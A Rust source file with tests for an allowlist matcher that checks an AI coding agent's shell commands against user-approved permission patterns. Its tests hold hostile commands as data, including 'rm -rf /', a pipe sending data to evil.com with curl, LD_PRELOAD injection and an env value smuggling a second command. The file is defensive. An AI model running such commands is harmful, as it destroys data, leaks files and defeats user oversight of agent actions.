Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    /// Load allowlist patterns from trusted home config only
13    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
14    /// intentionally not read: it lives in the working tree the agent edits, and
15    /// the harness applies its own project settings directly. See
16    /// `docs/design/trusted-customization.md`.
17    pub fn load() -> Self {
18        match std::env::var_os("HOME") {
19            Some(home) => Self::load_from_home(Path::new(&home)),
20            None => Matcher {
21                exact: HashSet::new(),
22                globs: Vec::new(),
23            },
24        }
25    }
26
27    fn load_from_home(home: &Path) -> Self {
28        let mut patterns = Matcher {
29            exact: HashSet::new(),
30            globs: Vec::new(),
31        };
32        patterns.load_file(&home.join(".claude/settings.json"));
33        patterns
34    }
35
36    fn load_file(&mut self, path: &Path) {
37        let Ok(contents) = std::fs::read_to_string(path) else {
38            return;
39        };
40        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
41            return;
42        };
43
44        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
45            for entry in arr.iter().filter_map(|e| e.as_str()) {
46                self.add_pattern(entry);
47            }
48        }
49
50        if let Some(arr) = value
51            .get("permissions")
52            .and_then(|v| v.get("allow"))
53            .and_then(|v| v.as_array())
54        {
55            for entry in arr.iter().filter_map(|e| e.as_str()) {
56                self.add_pattern(entry);
57            }
58        }
59    }
60
61    fn add_pattern(&mut self, entry: &str) {
62        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
63            return;
64        };
65        if inner.is_empty() {
66            return;
67        }
68        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
69            format!("{prefix} *")
70        } else {
71            inner.to_string()
72        };
73        if normalized.contains('*') {
74            self.globs
75                .push(normalized.split('*').map(String::from).collect());
76        } else {
77            self.exact.insert(normalized);
78        }
79    }
80
81    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
82        let Cmd::Simple(simple) = cmd else {
83            return false;
84        };
85        // `None` = no unambiguous rendering (an env value with whitespace); such a command matches
86        // no rule, rather than matching one it could be confused with.
87        let Some(normalized) = check::normalize_for_matching(simple) else {
88            return false;
89        };
90        let normalized = normalized.trim();
91        if normalized.is_empty() {
92            return false;
93        }
94        if self.exact.contains(normalized) {
95            return true;
96        }
97        self.globs
98            .iter()
99            .any(|parts| glob_matches(parts, normalized))
100    }
101
102    pub fn is_empty(&self) -> bool {
103        self.exact.is_empty() && self.globs.is_empty()
104    }
105
106    #[cfg(test)]
107    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
108        let mut m = Matcher {
109            exact: HashSet::new(),
110            globs: Vec::new(),
111        };
112        for p in patterns {
113            m.add_pattern(&format!("Bash({p})"));
114        }
115        m
116    }
117}
118
119pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
120    match cmd {
121        Cmd::Simple(_) => {
122            check::is_safe_cmd(cmd)
123                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
124        }
125        _ => check::is_safe_cmd(cmd),
126    }
127}
128
129fn glob_matches(parts: &[String], text: &str) -> bool {
130    let first = &parts[0];
131    let last = &parts[parts.len() - 1];
132
133    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
134        let prefix = &first[..first.len() - 1];
135        return text == prefix || text.starts_with(first.as_str());
136    }
137
138    if !text.starts_with(first.as_str()) {
139        return false;
140    }
141    if !text.ends_with(last.as_str()) {
142        return false;
143    }
144    let mut pos = first.len();
145    let end = text.len() - last.len();
146    if pos > end {
147        return false;
148    }
149    for part in &parts[1..parts.len() - 1] {
150        match text[pos..end].find(part.as_str()) {
151            Some(idx) => pos += idx + part.len(),
152            None => return false,
153        }
154    }
155    pos <= end
156}
157
158#[cfg(test)]
159mod tests {
160    use super::*;
161    use std::fs;
162
163    use crate::cst;
164
165    fn empty() -> Matcher {
166        Matcher {
167            exact: HashSet::new(),
168            globs: Vec::new(),
169        }
170    }
171
172    fn cmd(s: &str) -> Cmd {
173        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
174        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
175        assert_eq!(
176            script.0[0].pipeline.commands.len(),
177            1,
178            "expected single command: {s}"
179        );
180        script.0[0].pipeline.commands[0].clone()
181    }
182
183    fn segments(command: &str) -> Vec<Cmd> {
184        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
185        script
186            .0
187            .into_iter()
188            .flat_map(|stmt| stmt.pipeline.commands)
189            .collect()
190    }
191
192    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
193        is_cmd_covered(cmd, patterns)
194    }
195
196    fn all_covered(command: &str, patterns: &Matcher) -> bool {
197        let Some(script) = cst::parse(command) else {
198            return false;
199        };
200        script.0.iter().all(|stmt| {
201            check::is_safe_pipeline(&stmt.pipeline)
202                || stmt
203                    .pipeline
204                    .commands
205                    .iter()
206                    .all(|c| is_cmd_covered(c, patterns))
207        })
208    }
209
210    #[test]
211    fn parse_exact_pattern() {
212        let mut p = empty();
213        p.add_pattern("Bash(npm test)");
214        assert!(p.exact.contains("npm test"));
215        assert!(p.globs.is_empty());
216    }
217
218    #[test]
219    fn parse_legacy_colon_star() {
220        let mut p = empty();
221        p.add_pattern("Bash(npm run:*)");
222        assert!(p.exact.is_empty());
223        assert_eq!(p.globs.len(), 1);
224    }
225
226    #[test]
227    fn parse_space_star() {
228        let mut p = empty();
229        p.add_pattern("Bash(npm run *)");
230        assert!(p.exact.is_empty());
231        assert_eq!(p.globs.len(), 1);
232    }
233
234    #[test]
235    fn parse_non_bash_skipped() {
236        let mut p = empty();
237        p.add_pattern("WebFetch");
238        p.add_pattern("XcodeBuildMCP");
239        assert!(p.is_empty());
240    }
241
242    #[test]
243    fn parse_empty_bash_skipped() {
244        let mut p = empty();
245        p.add_pattern("Bash()");
246        assert!(p.is_empty());
247    }
248
249    #[test]
250    fn match_exact() {
251        let mut p = empty();
252        p.add_pattern("Bash(npm test)");
253        assert!(p.matches_cmd(&cmd("npm test")));
254        assert!(!p.matches_cmd(&cmd("npm test --watch")));
255    }
256
257    #[test]
258    fn match_space_star_word_boundary() {
259        let mut p = empty();
260        p.add_pattern("Bash(ls *)");
261        assert!(p.matches_cmd(&cmd("ls -la")));
262        assert!(p.matches_cmd(&cmd("ls foo")));
263        assert!(!p.matches_cmd(&cmd("lsof")));
264    }
265
266    #[test]
267    fn match_star_no_space_no_boundary() {
268        let mut p = empty();
269        p.add_pattern("Bash(ls*)");
270        assert!(p.matches_cmd(&cmd("ls -la")));
271        assert!(p.matches_cmd(&cmd("lsof")));
272    }
273
274    #[test]
275    fn match_legacy_colon_star_word_boundary() {
276        let mut p = empty();
277        p.add_pattern("Bash(npm run:*)");
278        assert!(p.matches_cmd(&cmd("npm run build")));
279        assert!(p.matches_cmd(&cmd("npm run test")));
280        assert!(!p.matches_cmd(&cmd("npm running")));
281        assert!(!p.matches_cmd(&cmd("npm install")));
282    }
283
284    #[test]
285    fn match_star_at_beginning() {
286        let mut p = empty();
287        p.add_pattern("Bash(* --version)");
288        assert!(p.matches_cmd(&cmd("npm --version")));
289        assert!(p.matches_cmd(&cmd("cargo --version")));
290        assert!(!p.matches_cmd(&cmd("npm --help")));
291    }
292
293    #[test]
294    fn match_star_in_middle() {
295        let mut p = empty();
296        p.add_pattern("Bash(git * main)");
297        assert!(p.matches_cmd(&cmd("git checkout main")));
298        assert!(p.matches_cmd(&cmd("git merge main")));
299        assert!(!p.matches_cmd(&cmd("git checkout develop")));
300    }
301
302    /// REVERSED (2026-07-26). This previously asserted that the env prefix was STRIPPED, so
303    /// `Bash(bundle install)` also covered `RACK_ENV=test bundle install`. Convenient, but it means
304    /// a rule cannot distinguish forms the user needs distinguished: the same stripping made
305    /// `Bash(~/runner-scripts/x.sh:*)` cover `WRITE=1 ~/runner-scripts/x.sh`, pre-approving a
306    /// mutating run from a rule written for a dry one — and safe-chains answered `allow`, so the
307    /// harness never got to ask.
308    ///
309    /// The convenience is not lost: `RACK_ENV=test bundle install` still auto-approves, because
310    /// safe-chains knows `bundle install` on its own terms and never consults the user's rules for
311    /// it. What changed is only what a USER-WRITTEN rule covers, and now it covers what it says.
312    ///
313    /// Contrast `match_fd_redirect_stripped` below, which still strips: `2>&1` cannot change which
314    /// program runs or with what, so it does not make the invocation a different command.
315    #[test]
316    fn match_env_prefix_is_not_stripped() {
317        let mut p = empty();
318        p.add_pattern("Bash(bundle install)");
319        assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
320        assert!(p.matches_cmd(&cmd("bundle install")));
321
322        let mut q = empty();
323        q.add_pattern("Bash(RACK_ENV=test bundle install)");
324        assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
325    }
326
327    #[test]
328    fn match_fd_redirect_stripped() {
329        let mut p = empty();
330        p.add_pattern("Bash(npm test)");
331        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
332    }
333
334    #[test]
335    fn match_fd_redirect_with_glob() {
336        let mut p = empty();
337        p.add_pattern("Bash(npm run *)");
338        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
339    }
340
341    #[test]
342    fn empty_patterns_match_nothing() {
343        let p = empty();
344        assert!(!p.matches_cmd(&cmd("anything")));
345    }
346
347    #[test]
348    fn match_bare_star_matches_everything() {
349        let mut p = empty();
350        p.add_pattern("Bash(*)");
351        assert!(p.matches_cmd(&cmd("anything at all")));
352        assert!(p.matches_cmd(&cmd("rm -rf /")));
353    }
354
355    #[test]
356    fn unsafe_syntax_not_bypassed_by_match() {
357        let mut p = empty();
358        p.add_pattern("Bash(./script.sh *)");
359        let c = cmd("./script.sh > /etc/passwd");
360        assert!(check::has_unsafe_syntax(&c));
361        assert!(!is_covered(&c, &p));
362    }
363
364    #[test]
365    fn command_substitution_not_bypassed_by_match() {
366        let mut p = empty();
367        p.add_pattern("Bash(./script.sh *)");
368        let c = cmd("./script.sh $(rm -rf /)");
369        assert!(!is_covered(&c, &p));
370    }
371
372    #[test]
373    fn mixed_chain_safe_plus_settings() {
374        let mut p = empty();
375        p.add_pattern("Bash(./generate-docs.sh)");
376        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
377    }
378
379    #[test]
380    fn mixed_chain_safe_plus_unapproved_denied() {
381        let mut p = empty();
382        p.add_pattern("Bash(./generate-docs.sh)");
383        assert!(!all_covered("cargo test && rm -rf /", &p));
384    }
385
386    #[test]
387    fn glob_does_not_cross_chain_boundary() {
388        let mut p = empty();
389        p.add_pattern("Bash(cargo test *)");
390        let cmds = segments("cargo test --release && rm -rf /");
391        assert_eq!(cmds.len(), 2);
392        assert!(p.matches_cmd(&cmds[0]));
393        assert!(!p.matches_cmd(&cmds[1]));
394        assert!(!all_covered("cargo test --release && rm -rf /", &p));
395    }
396
397    #[test]
398    fn glob_does_not_cross_pipe_boundary() {
399        let mut p = empty();
400        p.add_pattern("Bash(safe-cmd *)");
401        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
402    }
403
404    #[test]
405    fn glob_does_not_cross_semicolon_boundary() {
406        let mut p = empty();
407        p.add_pattern("Bash(safe-cmd *)");
408        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
409    }
410
411    #[test]
412    fn file_redirect_promoted_to_safewrite() {
413        let p = empty();
414        let c = cmd("echo > out.txt");
415        assert!(is_covered(&c, &p));
416    }
417
418    #[test]
419    fn redirect_to_sensitive_target_not_covered() {
420        let p = empty();
421        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
422        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
423    }
424
425    #[test]
426    fn bare_star_blocked_by_unsafe_syntax_backtick() {
427        let mut p = empty();
428        p.add_pattern("Bash(*)");
429        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
430    }
431
432    #[test]
433    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
434        let mut p = empty();
435        p.add_pattern("Bash(*)");
436        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
437    }
438
439    #[test]
440    fn safe_command_substitution_allowed_through_is_safe() {
441        let p = empty();
442        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
443        // correctly deny as a secret, so use a genuinely-safe substitution.
444        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
445    }
446
447    #[test]
448    fn nested_shell_not_recursively_validated_by_settings() {
449        let mut p = empty();
450        p.add_pattern("Bash(bash *)");
451        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
452        assert!(!check::is_safe_cmd(&c));
453        assert!(!check::has_unsafe_syntax(&c));
454        assert!(is_covered(&c, &p));
455    }
456
457    #[test]
458    fn nested_shell_redirect_promoted_to_safewrite() {
459        let p = empty();
460        let c = cmd("bash -c 'echo hello' > /tmp/out");
461        assert!(is_covered(&c, &p));
462    }
463
464    #[test]
465    fn quoted_operators_stay_as_one_segment() {
466        let mut p = empty();
467        p.add_pattern("Bash(./script *)");
468        assert!(all_covered("./script 'arg && rm -rf /'", &p));
469    }
470
471    #[test]
472    fn load_from_home_reads_home_settings() {
473        let home = tempfile::tempdir().unwrap();
474        let claude_dir = home.path().join(".claude");
475        fs::create_dir_all(&claude_dir).unwrap();
476        fs::write(
477            claude_dir.join("settings.json"),
478            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
479        )
480        .unwrap();
481        let p = Matcher::load_from_home(home.path());
482        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
483        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
484        assert!(!p.matches_cmd(&cmd("./evil.sh")));
485    }
486
487    #[test]
488    fn load_from_home_ignores_project_settings() {
489        // A project's .claude/settings.json living next to home is never read:
490        // only ~/.claude/settings.json is. Here the project tree has an allow
491        // entry that must not take effect.
492        let home = tempfile::tempdir().unwrap();
493        let project = tempfile::tempdir().unwrap();
494        let project_claude = project.path().join(".claude");
495        fs::create_dir_all(&project_claude).unwrap();
496        fs::write(
497            project_claude.join("settings.json"),
498            r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
499        )
500        .unwrap();
501        let p = Matcher::load_from_home(home.path());
502        assert!(!p.matches_cmd(&cmd("rm -rf /")));
503        assert!(p.is_empty());
504    }
505
506    #[test]
507    fn load_from_home_chains_with_builtins() {
508        let home = tempfile::tempdir().unwrap();
509        let claude_dir = home.path().join(".claude");
510        fs::create_dir_all(&claude_dir).unwrap();
511        fs::write(
512            claude_dir.join("settings.json"),
513            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
514        )
515        .unwrap();
516        let p = Matcher::load_from_home(home.path());
517        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
518        assert!(!all_covered("cargo test && ./evil.sh", &p));
519    }
520
521    #[test]
522    fn load_file_nonexistent() {
523        let mut p = empty();
524        p.load_file(Path::new("/nonexistent/path/settings.json"));
525        assert!(p.is_empty());
526    }
527
528    #[test]
529    fn load_file_malformed_json() {
530        let dir = tempfile::tempdir().unwrap();
531        let path = dir.path().join("settings.json");
532        std::fs::write(&path, "not json{{{").unwrap();
533        let mut p = empty();
534        p.load_file(&path);
535        assert!(p.is_empty());
536    }
537
538    #[test]
539    fn load_file_approved_commands() {
540        let dir = tempfile::tempdir().unwrap();
541        let path = dir.path().join("settings.json");
542        fs::write(
543            &path,
544            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
545        )
546        .unwrap();
547        let mut p = empty();
548        p.load_file(&path);
549        assert!(p.matches_cmd(&cmd("npm test")));
550        assert!(p.matches_cmd(&cmd("npm run build")));
551        assert!(!p.matches_cmd(&cmd("curl evil.com")));
552    }
553
554    #[test]
555    fn load_file_permissions_allow() {
556        let dir = tempfile::tempdir().unwrap();
557        let path = dir.path().join("settings.json");
558        fs::write(
559            &path,
560            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
561        )
562        .unwrap();
563        let mut p = empty();
564        p.load_file(&path);
565        assert!(p.matches_cmd(&cmd("cargo test")));
566        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
567    }
568
569    #[test]
570    fn load_file_both_fields() {
571        let dir = tempfile::tempdir().unwrap();
572        let path = dir.path().join("settings.json");
573        fs::write(
574            &path,
575            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
576        )
577        .unwrap();
578        let mut p = empty();
579        p.load_file(&path);
580        assert!(p.matches_cmd(&cmd("npm test")));
581        assert!(p.matches_cmd(&cmd("cargo test --release")));
582    }
583}
584
585/// An allow-rule must cover the command AS TYPED, including any leading `VAR=value`.
586///
587/// Dropping the assignments meant a rule written for one command silently covered a different one:
588/// `Bash(~/runner-scripts/x.sh:*)` matched `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a
589/// dry run pre-approved the mutating run — and safe-chains emitted `permissionDecision: "allow"`,
590/// so the harness never got the chance to ask.
591///
592/// Note what is NOT claimed here: nothing distinguishes `WRITE` from `LD_PRELOAD` from `NODE_ENV`,
593/// and no environment variable is researched. The only rule is that a pattern matches what it
594/// describes. That keeps this independent of the (unscoped) env-classification work in
595/// `docs/design/env-prefix-classification.md`.
596#[cfg(test)]
597mod env_prefix_matching_tests {
598    use super::*;
599    use crate::cst;
600
601    fn cmd(s: &str) -> Cmd {
602        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
603        script.0[0].pipeline.commands[0].clone()
604    }
605
606    fn matcher(patterns: &[&str]) -> Matcher {
607        Matcher::from_allow_patterns(patterns)
608    }
609
610    #[test]
611    fn a_plain_command_still_matches_its_rule() {
612        let m = matcher(&["~/runner-scripts/x.sh:*"]);
613        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
614        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
615    }
616
617    #[test]
618    fn an_env_prefix_does_not_match_a_rule_without_one() {
619        let m = matcher(&["~/runner-scripts/x.sh:*"]);
620        for c in [
621            "WRITE=1 ~/runner-scripts/x.sh",
622            "WRITE=1 ~/runner-scripts/x.sh --project p",
623            "PROJECT=p ~/runner-scripts/x.sh",
624            "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
625        ] {
626            assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
627        }
628    }
629
630    #[test]
631    fn a_rule_that_declares_the_env_prefix_matches_it() {
632        // The form already in the user's settings for deliberately-approved mutations.
633        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
634        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
635        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
636        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
637        // ...but only THAT assignment; a different one is a different command.
638        assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
639        assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
640    }
641
642    #[test]
643    fn every_assignment_must_be_accounted_for() {
644        let m = matcher(&["A=1 tool:*"]);
645        assert!(m.matches_cmd(&cmd("A=1 tool")));
646        // A second assignment the rule never mentioned makes it a different command.
647        assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
648        assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
649    }
650
651    #[test]
652    fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
653        let exact = matcher(&["tool run"]);
654        assert!(exact.matches_cmd(&cmd("tool run")));
655        assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
656    }
657
658    /// An env VALUE containing whitespace has no unambiguous flat rendering, and assignments sit
659    /// BEFORE the program name — so a value that swallows the rest of a pattern would let a rule
660    /// for one program match a different one. This was live for a few minutes during development:
661    /// `Bash(WRITE=1 ~/runner-scripts/x.sh:*)` matched `WRITE='1 ~/runner-scripts/x.sh' rm -rf /`,
662    /// which runs `rm`. Such a command now matches nothing.
663    #[test]
664    fn a_value_containing_whitespace_matches_no_rule() {
665        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
666        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
667        assert!(
668            !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
669            "a spaced value smuggled the pattern and matched a different program",
670        );
671
672        // Same shape without the glob: two different programs must not share a rendering.
673        let n = matcher(&["FOO=bar baz ls"]);
674        assert!(n.matches_cmd(&cmd("FOO=bar baz ls")));   // runs `baz`
675        assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); // runs `ls`
676    }
677
678    /// Quoted WORDS keep matching — `git commit -m 'a message'` is ordinary, and a quoted argument
679    /// cannot change which program runs, since the program is the first word either way. Only the
680    /// pre-program assignments are refused.
681    #[test]
682    fn a_quoted_word_still_matches() {
683        let m = matcher(&["git commit -m:*"]);
684        assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
685    }
686
687    /// The property, over every rule shape the matcher supports: if a command matches a rule, then
688    /// the same command with ANY assignment prepended must not — unless the rule declares it.
689    /// Stated generally so a future pattern form cannot reintroduce the hole for one spelling.
690    #[test]
691    fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
692        let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
693        let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
694        let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
695
696        let mut checked = 0;
697        for rule in rules {
698            let m = matcher(&[rule]);
699            for c in commands {
700                if !m.matches_cmd(&cmd(c)) {
701                    continue; // only meaningful where the bare command DOES match
702                }
703                for a in assignments {
704                    let prefixed = format!("{a} {c}");
705                    assert!(
706                        !m.matches_cmd(&cmd(&prefixed)),
707                        "rule `{rule}` matched `{prefixed}` without declaring `{a}`",
708                    );
709                    checked += 1;
710                }
711            }
712        }
713        assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
714    }
715}